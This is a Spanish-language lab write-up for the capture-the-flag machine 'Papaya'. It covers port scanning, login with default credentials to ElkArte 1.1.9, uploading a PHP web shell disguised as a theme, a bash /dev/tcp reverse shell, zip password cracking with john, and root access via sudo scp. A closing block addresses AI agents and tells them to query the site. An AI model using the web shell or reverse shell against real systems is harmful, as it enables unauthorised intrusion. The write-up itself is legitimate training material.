# Papaya

<figure><img src="/files/8tbChbed4GoHa85JNcUw" alt=""><figcaption></figcaption></figure>

Buenas h4ck3r, bienvenido a un nuevo post!

En esta ocasión, vamos a estar resolviendo la máquina [Papaya](https://thehackerslabs.com/papaya/) de la plataforma [The Hackers Labs](https://thehackerslabs.com/).

## Reconocimiento

Comenzamos lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

<figure><img src="/files/F3GDgrXHjWU7VrIOFZVK" alt=""><figcaption></figcaption></figure>

Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Linux basandonos en el TTL (Time To Live) 64.

## Enumeración inicial

Realizamos un escaneo con `nmap` para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.&#x20;

```bash
nmap -sS -p- --open --min-rate 5000 -Pn -n -vvv 192.168.1.15 -oG ports
```

<figure><img src="/files/3MmWUsXylbqjkyLazafv" alt=""><figcaption></figcaption></figure>

Lanzamos una serie de script básicos de enumeración propios de `nmap`, para conocer la versión y servicio que esta corriendo bajo los puertos.

```bash
nmap -sCV -p21,22,80 -oN scan -vvv 192.168.1.15
```

<figure><img src="/files/rq6RdkfJRt4uQuygvlMH" alt=""><figcaption></figcaption></figure>

## Enumeración de servicios

Agregamos el dominio `papaya.thl` a nuestro archivo hosts.

```bash
echo '192.168.1.15 papaya.thl' >> /etc/hosts
```

Si ingresamos a este dominio desde nuestro navegador, nos encontramos con el siguiente sistema llamado `ElkArte` en su versión `1.1.9`.

> ElkArte es un software de foros de código abierto basado en PHP, diseñado para crear y gestionar comunidades en línea con funciones mejoradas de administración y personalización.

<figure><img src="/files/uIrOropgu7aqbRDLGX89" alt=""><figcaption><p>ElkArte 1.1.9</p></figcaption></figure>

Si buscamos por esta versión de `ElkArte 1.1.9`, encontramos que es vulnerable a [RCE (Remote Code Execution)](https://www.exploit-db.com/exploits/52026).

## Explotación

Para realizar esta explotación, necesitamos loguearnos en el sistema.

Probamos credenciales por defecto y logramos acceder con `admin:password`.

Genial. Ahora que tenemos acceso, creamos un archivo php con el siguiente código.

```bash
<?php system($_GET['cmd']); ?>
```

Luego, creamos el archivo zip.

```bash
zip test.zip test.php
```

Por ultimo, subimos el "nuevo tema".

<figure><img src="/files/VcjsciJxjkXrdVkBtqH7" alt=""><figcaption></figcaption></figure>

Accedemos a la ruta donde se descomprimio el archivo y vemos que ya tenemos capacidad de ejecución remota de comandos.

<figure><img src="/files/K9Co5yLvtHb45nt9lxqN" alt=""><figcaption><p>PoC</p></figcaption></figure>

Ahora toca ganar acceso al sistema. Para ello, nos ponemos en escucha con netcat por el puerto 443.

```bash
nc -lnvp 443
```

Y como payload podemos utilizar la siguiente reverse shell.

```bash
bash -c "bash -i >&1 /dev/tcp/192.168.1.18/443 0>&1"
```

Importante, encodear los caracteres ampersand `&` a `%26` para no tener problemas en la interpretación  del código.

```bash
bash -c "bash -i >%261 /dev/tcp/192.168.1.18/443 0>%261"
```

Ganamos acceso al sistema.

<figure><img src="/files/aai7ILul9OBZI6h75ruE" alt=""><figcaption><p>Ganamos acceso al sistema</p></figcaption></figure>

Hacemos un tratamiento de la tty para tener una terminal más interactiva:

* `script /dev/null -c bash`
* CTRL + Z
* `stty raw -echo; fg`
* `reset xterm`
* `export TERM=xterm`
* `export SHELL=bash`
* `stty rows <rows> columns <columns>`

## Enumeración / Movimiento lateral

Enumerando el sistema, encontramos un archivo zip bajo el directorio `/opt`.

<figure><img src="/files/XytU0ZJPAb4Wa1ce2kRT" alt=""><figcaption><p>pass.zip</p></figcaption></figure>

Al intentar extraerlo nos solicita una contraseña.

<figure><img src="/files/73DuUWVGkNdNFuOFRDgx" alt=""><figcaption><p>pass.zip</p></figcaption></figure>

Lo transferimos a nuestra máquina y utilizamos la herramienta `zip2john` y luego `john` para obtener la contraseña.

<figure><img src="/files/uSG3oKb0fVWQ9LLtVXPn" alt=""><figcaption></figcaption></figure>

Extraemos el zip y obtenemos la contraseña del usuario `papaya`.

Nos conectamos por ssh con el usuario `papaya`.

<figure><img src="/files/cytWHdjGKFYUs0SnLAcI" alt=""><figcaption><p>Usuario papaya</p></figcaption></figure>

Leemos la flag de `user.txt`.

<figure><img src="/files/418lea7csxojES6ovhVc" alt=""><figcaption><p>user.txt</p></figcaption></figure>

## Escalación de privilegios

Si realizamos una enumeración básica del sistema, encontramos que al ejecutar `sudo -l` podemos ejecutar el binario `/usr/bin/scp` como el usuario `root` sin solicitarnos contraseña.

Si buscamos en GTFObins encontramos que existe [una manera](https://gtfobins.github.io/gtfobins/scp/#sudo) de escalar nuestros privilegios a través de este binario en este contexto.

Procedemos  a escalar nuestros privilegios.

<figure><img src="/files/C9SvUzc6qzLbXEHFtvuE" alt=""><figcaption><p>Escalación de privilegios</p></figcaption></figure>

Por ultimo, leemos la flag de `root.txt`.

<figure><img src="/files/BhmnJKVeo1Fdygn2tSpp" alt=""><figcaption><p>root.txt</p></figcaption></figure>

De esta forma, concluimos la resolución de la máquina Papaya.

Espero que los conceptos hayan quedado claros. Como siempre, en caso de tener alguna duda te invito a realizar nuevamente la máquina para afianzar tus conocimientos.

¡Gracias por leer!

Happy Hacking!


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://d4redevil.gitbook.io/d4redevil/writeups/the-hackers-labs/linux/principiante/papaya.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
